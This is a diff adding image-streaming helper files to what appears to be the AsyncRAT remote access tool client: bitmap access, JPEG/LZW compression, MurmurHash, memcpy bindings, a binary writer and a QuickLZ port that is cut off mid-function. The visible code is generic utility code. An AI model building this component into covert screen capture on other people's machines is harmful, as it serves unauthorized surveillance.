if (!RectRows[Rects.Values[i].Values[0].Y].ContainsKey(Rects.Values[i].Values[0].X))
|
||||
{
|
||||
RectRows[Rects.Values[i].Values[0].Y].Add(Rects.Values[i].Values[0].X, Rects.Values[i].Values[0]);
|
||||
}
|
||||
|
||||
Rectangle EndRect = Rects.Values[i].Values[0];
|
||||
for (int x = 1; x < Rects.Values[i].Values.Count; x++)
|
||||
{
|
||||
Rectangle CurRect = Rects.Values[i].Values[x];
|
||||
Rectangle tmpRect = RectRows[EndRect.Y].Values[RectRows[EndRect.Y].Count - 1];
|
||||
if (tmpRect.IntersectsWith(new Rectangle(CurRect.X - 1, CurRect.Y, CurRect.Width, CurRect.Height)))
|
||||
{
|
||||
RectRows[EndRect.Y][tmpRect.X] = new Rectangle(tmpRect.X, tmpRect.Y, tmpRect.Width + EndRect.Width, tmpRect.Height);
|
||||
EndRect = Rects.Values[i].Values[x];
|
||||
}
|
||||
else
|
||||
{
|
||||
EndRect = Rects.Values[i].Values[x];
|
||||
RectRows[Rects.Values[i].Values[0].Y].Add(EndRect.X, EndRect);
|
||||
}
|
||||
}
|
||||
}
|
||||
return RectRows;
|
||||
}
|
||||
}
|
||||
}
|
||||
353
AsyncRAT-C#/Client/StreamLibrary/src/FastBitmap.cs
Normal file
353
AsyncRAT-C#/Client/StreamLibrary/src/FastBitmap.cs
Normal file
@ -0,0 +1,353 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
public unsafe class FastBitmap
|
||||
{
|
||||
public Bitmap bitmap { get; set; }
|
||||
public BitmapData bitmapData { get; private set; }
|
||||
public int Width { get; private set; }
|
||||
public int Height { get; private set; }
|
||||
public PixelFormat format { get; private set; }
|
||||
public DateTime BitmapCreatedAt;
|
||||
public bool IsLocked { get; private set; }
|
||||
|
||||
public int Stride
|
||||
{
|
||||
get { return bitmapData.Stride; }
|
||||
}
|
||||
|
||||
public FastBitmap(Bitmap bitmap, PixelFormat format)
|
||||
{
|
||||
switch (format)
|
||||
{
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
case PixelFormat.Format8bppIndexed:
|
||||
case PixelFormat.Format4bppIndexed:
|
||||
case PixelFormat.Format1bppIndexed:
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(format + " is not supported.");
|
||||
}
|
||||
|
||||
this.bitmap = bitmap;
|
||||
this.Width = this.bitmap.Width;
|
||||
this.Height = this.bitmap.Height;
|
||||
this.format = format;
|
||||
Lock();
|
||||
BitmapCreatedAt = DateTime.Now;
|
||||
}
|
||||
|
||||
public FastBitmap(Bitmap bitmap)
|
||||
{
|
||||
this.format = bitmap.PixelFormat;
|
||||
|
||||
switch (format)
|
||||
{
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
case PixelFormat.Format8bppIndexed:
|
||||
case PixelFormat.Format4bppIndexed:
|
||||
case PixelFormat.Format1bppIndexed:
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(format + " is not supported.");
|
||||
}
|
||||
|
||||
this.bitmap = bitmap;
|
||||
this.Width = this.bitmap.Width;
|
||||
this.Height = this.bitmap.Height;
|
||||
this.format = format;
|
||||
Lock();
|
||||
BitmapCreatedAt = DateTime.Now;
|
||||
}
|
||||
|
||||
public Color GetPixel(int x, int y)
|
||||
{
|
||||
byte* position = (byte*)bitmapData.Scan0.ToPointer();
|
||||
position += CalcOffset(x, y);
|
||||
|
||||
byte A = position[3];
|
||||
byte R = position[2];
|
||||
byte G = position[1];
|
||||
byte B = position[0];
|
||||
return Color.FromArgb(A, R, G, B);
|
||||
}
|
||||
|
||||
public void SetPixel(int x, int y, Color color)
|
||||
{
|
||||
byte* position = (byte*)bitmapData.Scan0.ToPointer();
|
||||
position += CalcOffset(x, y);
|
||||
|
||||
position[3] = color.A;
|
||||
position[2] = color.R;
|
||||
position[1] = color.G;
|
||||
position[0] = color.B;
|
||||
}
|
||||
|
||||
public Color GetPixel(int x, int y, byte[] ImgData)
|
||||
{
|
||||
long offset = CalcOffset(x, y) + 4;
|
||||
if (offset + 4 < ImgData.Length)
|
||||
{
|
||||
byte R = ImgData[offset];
|
||||
byte G = ImgData[offset + 1];
|
||||
byte B = ImgData[offset + 2];
|
||||
return Color.FromArgb(255, R, G, B);
|
||||
}
|
||||
return Color.FromArgb(255, 0, 0, 0);
|
||||
}
|
||||
public void SetPixel(int x, int y, Color color, byte[] ImgData)
|
||||
{
|
||||
long offset = CalcOffset(x, y) + 4;
|
||||
if (offset + 4 < ImgData.Length)
|
||||
{
|
||||
ImgData[offset] = color.R;
|
||||
ImgData[offset + 1] = color.G;
|
||||
ImgData[offset + 2] = color.B;
|
||||
ByteArrayToBitmap(ImgData);
|
||||
}
|
||||
}
|
||||
|
||||
public void DrawRectangle(Point begin, Point end, Color color)
|
||||
{
|
||||
for (int x = begin.X; x < end.X; x++)
|
||||
{
|
||||
for (int y = begin.Y; y < end.Y; y++)
|
||||
{
|
||||
SetPixel(x, y, color);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public Int64 CalcOffset(int x, int y)
|
||||
{
|
||||
switch (format)
|
||||
{
|
||||
case PixelFormat.Format32bppArgb:
|
||||
return (y * bitmapData.Stride) + (x * 4);
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
return (y * bitmapData.Stride) + (x * 3);
|
||||
case PixelFormat.Format8bppIndexed:
|
||||
return (y * bitmapData.Stride) + x;
|
||||
case PixelFormat.Format4bppIndexed:
|
||||
return (y * bitmapData.Stride) + (x / 2);
|
||||
case PixelFormat.Format1bppIndexed:
|
||||
return (y * bitmapData.Stride) + (x * 8);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
public static int CalcImageOffset(int x, int y, PixelFormat format, int width)
|
||||
{
|
||||
switch (format)
|
||||
{
|
||||
case PixelFormat.Format32bppArgb:
|
||||
return (y * (width * 4)) + (x * 4);
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
return (y * (width * 3)) + (x * 3);
|
||||
case PixelFormat.Format8bppIndexed:
|
||||
return (y * width) + x;
|
||||
case PixelFormat.Format4bppIndexed:
|
||||
return (y * (width / 2)) + (x / 2);
|
||||
case PixelFormat.Format1bppIndexed:
|
||||
return (y * (width * 8)) + (x * 8);
|
||||
default:
|
||||
throw new NotSupportedException(format + " is not supported.");
|
||||
}
|
||||
}
|
||||
|
||||
public void ScanPixelDuplicates(Point BeginPoint, ref Point EndPoint, ref Color RetColor)
|
||||
{
|
||||
Color curColor = GetPixel(BeginPoint.X, BeginPoint.Y);
|
||||
for (int x = BeginPoint.X; x < this.Width; x++)
|
||||
{
|
||||
Color prevColor = GetPixel(x, BeginPoint.Y);
|
||||
|
||||
if (curColor.R != prevColor.R ||
|
||||
curColor.G != prevColor.G ||
|
||||
curColor.B != prevColor.B)
|
||||
{
|
||||
EndPoint = new Point(x, BeginPoint.Y);
|
||||
RetColor = curColor;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
EndPoint = new Point(this.Width, BeginPoint.Y);
|
||||
RetColor = curColor;
|
||||
}
|
||||
|
||||
public void Unlock()
|
||||
{
|
||||
if (IsLocked)
|
||||
{
|
||||
bitmap.UnlockBits(bitmapData);
|
||||
IsLocked = false;
|
||||
}
|
||||
}
|
||||
public void Lock()
|
||||
{
|
||||
if (!IsLocked)
|
||||
{
|
||||
bitmapData = bitmap.LockBits(new Rectangle(0, 0, Width, Height), System.Drawing.Imaging.ImageLockMode.ReadWrite, format);
|
||||
IsLocked = true;
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] ToByteArray()
|
||||
{
|
||||
int bytes = Math.Abs(bitmapData.Stride) * Height;
|
||||
byte[] rgbValues = new byte[bytes];
|
||||
System.Runtime.InteropServices.Marshal.Copy(new IntPtr(bitmapData.Scan0.ToInt32()), rgbValues, 0, bytes);
|
||||
return rgbValues;
|
||||
}
|
||||
|
||||
public void ByteArrayToBitmap(byte[] data)
|
||||
{
|
||||
System.Runtime.InteropServices.Marshal.Copy(data, 0, bitmapData.Scan0, data.Length);
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
if (bitmap != null)
|
||||
{
|
||||
try { bitmap.UnlockBits(bitmapData); }
|
||||
catch { }
|
||||
try { bitmap.Dispose(); }
|
||||
catch { }
|
||||
try
|
||||
{
|
||||
bitmap = null;
|
||||
bitmapData = null;
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary> Get the byte points where to read from in a byte array </summary>
|
||||
/// <param name="beginPoint">The beginning of the X, Y</param>
|
||||
/// <param name="endPoint">The end of the X, Y</param>
|
||||
/// <param name="ImgSize">The size of the image</param>
|
||||
/// <param name="SlicePieces">Slice the byte points into pieces to get the byte points faster</param>
|
||||
public static ArrayOffset[] GetBytePoints(Point beginPoint, Point endPoint, Size ImgSize, PixelFormat format)
|
||||
{
|
||||
List<ArrayOffset> offsets = new List<ArrayOffset>();
|
||||
|
||||
for (int y = beginPoint.Y; y < endPoint.Y; y++)
|
||||
{
|
||||
int BeginOffset = (int)FastBitmap.CalcImageOffset(beginPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (beginPoint.X * 4);
|
||||
int EndOffset = (int)FastBitmap.CalcImageOffset(endPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (endPoint.X * 4);
|
||||
|
||||
switch (format)
|
||||
{
|
||||
case PixelFormat.Format32bppArgb:
|
||||
{
|
||||
if (EndOffset + ((endPoint.X - beginPoint.X) * 4) >= (ImgSize.Width * ImgSize.Height) * 4)
|
||||
break;
|
||||
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 4), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||
break;
|
||||
}
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
{
|
||||
if (EndOffset + ((endPoint.X - beginPoint.X) * 3) >= (ImgSize.Width * ImgSize.Height) * 3)
|
||||
break;
|
||||
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 3), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||
break;
|
||||
}
|
||||
case PixelFormat.Format8bppIndexed:
|
||||
{
|
||||
if (EndOffset + ((endPoint.X - beginPoint.X)) >= (ImgSize.Width * ImgSize.Height))
|
||||
break;
|
||||
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X)), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||
break;
|
||||
}
|
||||
case PixelFormat.Format4bppIndexed:
|
||||
{
|
||||
if (EndOffset + ((endPoint.X - beginPoint.X) / 2) >= (ImgSize.Width * ImgSize.Height) / 2)
|
||||
break;
|
||||
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) / 2), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||
break;
|
||||
}
|
||||
case PixelFormat.Format1bppIndexed:
|
||||
{
|
||||
if (EndOffset + ((endPoint.X - beginPoint.X) * 8) >= (ImgSize.Width * ImgSize.Height) * 8)
|
||||
break;
|
||||
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 8), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||
break;
|
||||
}
|
||||
default:
|
||||
{
|
||||
throw new NotSupportedException(format + " is not supported.");
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
return offsets.ToArray();
|
||||
}
|
||||
|
||||
/// <summary> Get the byte points in 2D </summary>
|
||||
/// <param name="beginPoint">The beginning of the X, Y</param>
|
||||
/// <param name="endPoint">The end of the X, Y</param>
|
||||
/// <param name="ImgSize">The size of the image</param>
|
||||
/// <param name="SlicePieces">Slice the byte points into pieces to get the byte points faster</param>
|
||||
public static ArrayOffset[,][] Get2DBytePoints(Point beginPoint, Point endPoint, Size ImgSize, int SlicePieces, PixelFormat format)
|
||||
{
|
||||
int Width = endPoint.X - beginPoint.X;
|
||||
int Height = endPoint.Y - beginPoint.Y;
|
||||
|
||||
float Wsize = ((float)Width / (float)SlicePieces);
|
||||
float Hsize = ((float)Height / (float)SlicePieces);
|
||||
|
||||
//+1 just to make sure we are not going outside the array
|
||||
if (Wsize - (int)Wsize > 0.0F) Wsize += 1.0F;
|
||||
if (Hsize - (int)Hsize > 0.0F) Hsize += 1.0F;
|
||||
|
||||
ArrayOffset[,][] ImageArrayOffsets = new ArrayOffset[(int)Hsize, (int)Wsize][];
|
||||
Point tmp = new Point(0, 0);
|
||||
for (int y = beginPoint.Y; y < Height; y += SlicePieces)
|
||||
{
|
||||
for (int x = beginPoint.X; x < Width; x += SlicePieces)
|
||||
{
|
||||
ImageArrayOffsets[tmp.Y, tmp.X] = FastBitmap.GetBytePoints(new Point(x, y), new Point(x + SlicePieces, y + SlicePieces), ImgSize, format);
|
||||
tmp.X++;
|
||||
}
|
||||
tmp.X = 0;
|
||||
tmp.Y++;
|
||||
}
|
||||
return ImageArrayOffsets;
|
||||
}
|
||||
}
|
||||
|
||||
public class ArrayOffset
|
||||
{
|
||||
public int BeginOffset { get; private set; }
|
||||
public int EndOffset { get; private set; }
|
||||
public int Stride { get; private set; }
|
||||
public int X { get; private set; }
|
||||
public int Y { get; private set; }
|
||||
public int Width { get; private set; }
|
||||
public int Height { get; private set; }
|
||||
|
||||
public ArrayOffset(int begin, int end, int Stride, int x, int y, int width, int height)
|
||||
{
|
||||
this.BeginOffset = begin;
|
||||
this.EndOffset = end;
|
||||
this.Stride = Stride;
|
||||
this.X = x;
|
||||
this.Y = y;
|
||||
this.Width = width;
|
||||
this.Height = height;
|
||||
}
|
||||
}
|
||||
}
|
||||
52
AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs
Normal file
52
AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs
Normal file
@ -0,0 +1,52 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
public class JpgCompression
|
||||
{
|
||||
private EncoderParameter parameter;
|
||||
private ImageCodecInfo encoderInfo;
|
||||
private EncoderParameters encoderParams;
|
||||
|
||||
public JpgCompression(int Quality)
|
||||
{
|
||||
this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality);
|
||||
this.encoderInfo = GetEncoderInfo("image/jpeg");
|
||||
this.encoderParams = new EncoderParameters(2);
|
||||
this.encoderParams.Param[0] = parameter;
|
||||
this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)2);
|
||||
}
|
||||
|
||||
public byte[] Compress(Bitmap bmp)
|
||||
{
|
||||
using (MemoryStream stream = new MemoryStream())
|
||||
{
|
||||
bmp.Save(stream, encoderInfo, encoderParams);
|
||||
return stream.ToArray();
|
||||
}
|
||||
}
|
||||
public void Compress(Bitmap bmp, ref Stream TargetStream)
|
||||
{
|
||||
bmp.Save(TargetStream, encoderInfo, encoderParams);
|
||||
}
|
||||
|
||||
private ImageCodecInfo GetEncoderInfo(string mimeType)
|
||||
{
|
||||
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
|
||||
int num2 = imageEncoders.Length - 1;
|
||||
for (int i = 0; i <= num2; i++)
|
||||
{
|
||||
if (imageEncoders[i].MimeType == mimeType)
|
||||
{
|
||||
return imageEncoders[i];
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
55
AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs
Normal file
55
AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs
Normal file
@ -0,0 +1,55 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
public class LzwCompression
|
||||
{
|
||||
private EncoderParameter parameter;
|
||||
private ImageCodecInfo encoderInfo;
|
||||
private EncoderParameters encoderParams;
|
||||
|
||||
public LzwCompression(int Quality)
|
||||
{
|
||||
this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality);
|
||||
this.encoderInfo = GetEncoderInfo("image/jpeg");
|
||||
this.encoderParams = new EncoderParameters(2);
|
||||
this.encoderParams.Param[0] = parameter;
|
||||
this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)EncoderValue.CompressionLZW);
|
||||
}
|
||||
|
||||
public byte[] Compress(Bitmap bmp, byte[] AdditionInfo = null)
|
||||
{
|
||||
using (MemoryStream stream = new MemoryStream())
|
||||
{
|
||||
if (AdditionInfo != null)
|
||||
stream.Write(AdditionInfo, 0, AdditionInfo.Length);
|
||||
bmp.Save(stream, encoderInfo, encoderParams);
|
||||
return stream.ToArray();
|
||||
}
|
||||
}
|
||||
public void Compress(Bitmap bmp, Stream stream, byte[] AdditionInfo = null)
|
||||
{
|
||||
if (AdditionInfo != null)
|
||||
stream.Write(AdditionInfo, 0, AdditionInfo.Length);
|
||||
bmp.Save(stream, encoderInfo, encoderParams);
|
||||
}
|
||||
|
||||
private ImageCodecInfo GetEncoderInfo(string mimeType)
|
||||
{
|
||||
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
|
||||
for (int i = 0; i < imageEncoders.Length; i++)
|
||||
{
|
||||
if (imageEncoders[i].MimeType == mimeType)
|
||||
{
|
||||
return imageEncoders[i];
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
62
AsyncRAT-C#/Client/StreamLibrary/src/MurmurHash2Unsafe.cs
Normal file
62
AsyncRAT-C#/Client/StreamLibrary/src/MurmurHash2Unsafe.cs
Normal file
@ -0,0 +1,62 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
public unsafe class MurmurHash2Unsafe
|
||||
{
|
||||
const UInt32 m = 0x5bd1e995;
|
||||
const Int32 r = 24;
|
||||
|
||||
public unsafe UInt32 Hash(Byte* data, int length)
|
||||
{
|
||||
if (length == 0)
|
||||
return 0;
|
||||
UInt32 h = 0xc58f1a7b ^ (UInt32)length;
|
||||
Int32 remainingBytes = length & 3; // mod 4
|
||||
Int32 numberOfLoops = length >> 2; // div 4
|
||||
UInt32* realData = (UInt32*)data;
|
||||
while (numberOfLoops != 0)
|
||||
{
|
||||
UInt32 k = *realData;
|
||||
k *= m;
|
||||
k ^= k >> r;
|
||||
k *= m;
|
||||
|
||||
h *= m;
|
||||
h ^= k;
|
||||
numberOfLoops--;
|
||||
realData++;
|
||||
}
|
||||
switch (remainingBytes)
|
||||
{
|
||||
case 3:
|
||||
h ^= (UInt16)(*realData);
|
||||
h ^= ((UInt32)(*(((Byte*)(realData)) + 2))) << 16;
|
||||
h *= m;
|
||||
break;
|
||||
case 2:
|
||||
h ^= (UInt16)(*realData);
|
||||
h *= m;
|
||||
break;
|
||||
case 1:
|
||||
h ^= *((Byte*)realData);
|
||||
h *= m;
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
// Do a few final mixes of the hash to ensure the last few
|
||||
// bytes are well-incorporated.
|
||||
|
||||
h ^= h >> 13;
|
||||
h *= m;
|
||||
h ^= h >> 15;
|
||||
|
||||
return h;
|
||||
}
|
||||
}
|
||||
}
|
||||
22
AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs
Normal file
22
AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs
Normal file
@ -0,0 +1,22 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
public class NativeMethods
|
||||
{
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count);
|
||||
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count);
|
||||
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern int memcpy(IntPtr dst, IntPtr src, uint count);
|
||||
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern unsafe int memcpy(void* dst, void* src, uint count);
|
||||
}
|
||||
}
|
||||
113
AsyncRAT-C#/Client/StreamLibrary/src/PayloadWriter.cs
Normal file
113
AsyncRAT-C#/Client/StreamLibrary/src/PayloadWriter.cs
Normal file
@ -0,0 +1,113 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
public class PayloadWriter : IDisposable
|
||||
{
|
||||
public Stream vStream { get; set; }
|
||||
public PayloadWriter()
|
||||
{
|
||||
vStream = new MemoryStream();
|
||||
}
|
||||
public PayloadWriter(Stream stream)
|
||||
{
|
||||
vStream = stream;
|
||||
}
|
||||
|
||||
public void WriteBytes(byte[] value)
|
||||
{
|
||||
vStream.Write(value, 0, value.Length);
|
||||
}
|
||||
|
||||
public void WriteBytes(byte[] value, int Offset, int Length)
|
||||
{
|
||||
vStream.Write(value, Offset, Length);
|
||||
}
|
||||
|
||||
public void WriteInteger(int value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// A integer with 3 bytes not 4
|
||||
/// </summary>
|
||||
public void WriteThreeByteInteger(int value)
|
||||
{
|
||||
WriteByte((byte)value);
|
||||
WriteByte((byte)(value >> 8));
|
||||
WriteByte((byte)(value >> 16));
|
||||
}
|
||||
|
||||
public void WriteUInteger(uint value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
|
||||
public void WriteShort(short value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
public void WriteUShort(ushort value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
public void WriteULong(ulong value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
|
||||
public void WriteByte(byte value)
|
||||
{
|
||||
vStream.WriteByte(value);
|
||||
}
|
||||
|
||||
public void WriteBool(bool value)
|
||||
{
|
||||
WriteByte(value ? (byte)1 : (byte)0);
|
||||
}
|
||||
|
||||
public void WriteDouble(double value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
public void WriteLong(long value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
public void WriteFloat(float value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
public void WriteDecimal(decimal value)
|
||||
{
|
||||
BinaryWriter writer = new BinaryWriter(vStream);
|
||||
writer.Write(value);
|
||||
}
|
||||
|
||||
public void WriteString(string value)
|
||||
{
|
||||
if (!(value == null))
|
||||
WriteBytes(System.Text.Encoding.Unicode.GetBytes(value));
|
||||
else
|
||||
throw new NullReferenceException("value");
|
||||
vStream.WriteByte(0);
|
||||
vStream.WriteByte(0);
|
||||
}
|
||||
|
||||
public int Length
|
||||
{
|
||||
get { return (int)vStream.Length; }
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
vStream.Close();
|
||||
vStream.Dispose();
|
||||
vStream = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
58
AsyncRAT-C#/Client/StreamLibrary/src/PointerHelper.cs
Normal file
58
AsyncRAT-C#/Client/StreamLibrary/src/PointerHelper.cs
Normal file
@ -0,0 +1,58 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
/// <summary>
|
||||
/// A helper class for pointers
|
||||
/// </summary>
|
||||
public class PointerHelper
|
||||
{
|
||||
private int _offset;
|
||||
|
||||
public IntPtr Pointer
|
||||
{
|
||||
get;
|
||||
private set;
|
||||
}
|
||||
|
||||
public int TotalLength { get; private set; }
|
||||
|
||||
public int Offset
|
||||
{
|
||||
get { return _offset; }
|
||||
set
|
||||
{
|
||||
if (value < 0)
|
||||
throw new Exception("Offset must be >= 1");
|
||||
|
||||
if (value >= TotalLength)
|
||||
throw new Exception("Offset cannot go outside of the reserved buffer space");
|
||||
|
||||
_offset = value;
|
||||
}
|
||||
}
|
||||
|
||||
public PointerHelper(IntPtr pointer, int Length)
|
||||
{
|
||||
this.TotalLength = Length;
|
||||
this.Pointer = pointer;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Copies data from Source to the current Pointer Offset
|
||||
/// </summary>
|
||||
public void Copy(IntPtr Source, int SourceOffset, int SourceLength)
|
||||
{
|
||||
if (CheckBoundries(this.Offset, SourceLength))
|
||||
throw new AccessViolationException("Cannot write outside of the buffer space");
|
||||
NativeMethods.memcpy(new IntPtr(this.Pointer.ToInt64() + Offset), new IntPtr(Source.ToInt64() + SourceOffset), (uint)SourceLength);
|
||||
}
|
||||
|
||||
private bool CheckBoundries(int offset, int length)
|
||||
{
|
||||
return offset + length > TotalLength;
|
||||
}
|
||||
}
|
||||
}
|
||||
487
AsyncRAT-C#/Client/StreamLibrary/src/SafeQuickLZ.cs
Normal file
487
AsyncRAT-C#/Client/StreamLibrary/src/SafeQuickLZ.cs
Normal file
@ -0,0 +1,487 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
// QuickLZ data compression library
|
||||
// Copyright (C) 2006-2011 Lasse Mikkel Reinhold
|
||||
// lar@quicklz.com
|
||||
//
|
||||
// QuickLZ can be used for free under the GPL 1, 2 or 3 license (where anything
|
||||
// released into public must be open source) or under a commercial license if such
|
||||
// has been acquired (see http://www.quicklz.com/order.html). The commercial license
|
||||
// does not cover derived or ported versions created by third parties under GPL.
|
||||
//
|
||||
// Only a subset of the C library has been ported, namely level 1 and 3 not in
|
||||
// streaming mode.
|
||||
//
|
||||
// Version: 1.5.0 final
|
||||
|
||||
public class SafeQuickLZ
|
||||
{
|
||||
public const int QLZ_VERSION_MAJOR = 1;
|
||||
public const int QLZ_VERSION_MINOR = 5;
|
||||
public const int QLZ_VERSION_REVISION = 0;
|
||||
|
||||
// Streaming mode not supported
|
||||
public const int QLZ_STREAMING_BUFFER = 0;
|
||||
|
||||
// Bounds checking not supported Use try...catch instead
|
||||
public const int QLZ_MEMORY_SAFE = 0;
|
||||
|
||||
// Decrease QLZ_POINTERS_3 to increase level 3 compression speed. Do not edit any other values!
|
||||
private const int HASH_VALUES = 4096;
|
||||
private const int MINOFFSET = 2;
|
||||
private const int UNCONDITIONAL_MATCHLEN = 6;
|
||||
private const int UNCOMPRESSED_END = 4;
|
||||
private const int CWORD_LEN = 4;
|
||||
private const int DEFAULT_HEADERLEN = 9;
|
||||
private const int QLZ_POINTERS_1 = 1;
|
||||
private const int QLZ_POINTERS_3 = 16;
|
||||
|
||||
private int headerLen(byte[] source, int offset)
|
||||
{
|
||||
return ((source[offset] & 2) == 2) ? 9 : 3;
|
||||
}
|
||||
|
||||
public int sizeDecompressed(byte[] source, int offset)
|
||||
{
|
||||
if (headerLen(source, offset) == 9)
|
||||
return source[offset + 5] | (source[offset + 6] << 8) | (source[offset + 7] << 16) | (source[offset + 8] << 24);
|
||||
else
|
||||
return source[offset + 2];
|
||||
}
|
||||
|
||||
public int sizeCompressed(byte[] source, int offset)
|
||||
{
|
||||
if (headerLen(source, offset) == 9)
|
||||
return source[offset + 1] | (source[offset + 2] << 8) | (source[offset + 3] << 16) | (source[offset + 4] << 24);
|
||||
else
|
||||
return source[offset + 1];
|
||||
}
|
||||
|
||||
private void write_header(byte[] dst, int level, bool compressible, int size_compressed, int size_decompressed)
|
||||
{
|
||||
dst[0] = (byte)(2 | (compressible ? 1 : 0));
|
||||
dst[0] |= (byte)(level << 2);
|
||||
dst[0] |= (1 << 6);
|
||||
dst[0] |= (0 << 4);
|
||||
fast_write(dst, 1, size_decompressed, 4);
|
||||
fast_write(dst, 5, size_compressed, 4);
|
||||
}
|
||||
|
||||
public byte[] compress(byte[] source, int Offset, int Length, int level)
|
||||
{
|
||||
int src = Offset;
|
||||
int dst = DEFAULT_HEADERLEN + CWORD_LEN;
|
||||
uint cword_val = 0x80000000;
|
||||
int cword_ptr = DEFAULT_HEADERLEN;
|
||||
byte[] destination = new byte[Length + 400];
|
||||
int[,] hashtable;
|
||||
int[] cachetable = new int[HASH_VALUES];
|
||||
byte[] hash_counter = new byte[HASH_VALUES];
|
||||
byte[] d2;
|
||||
int fetch = 0;
|
||||
int last_matchstart = (Length - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1);
|
||||
int lits = 0;
|
||||
|
||||
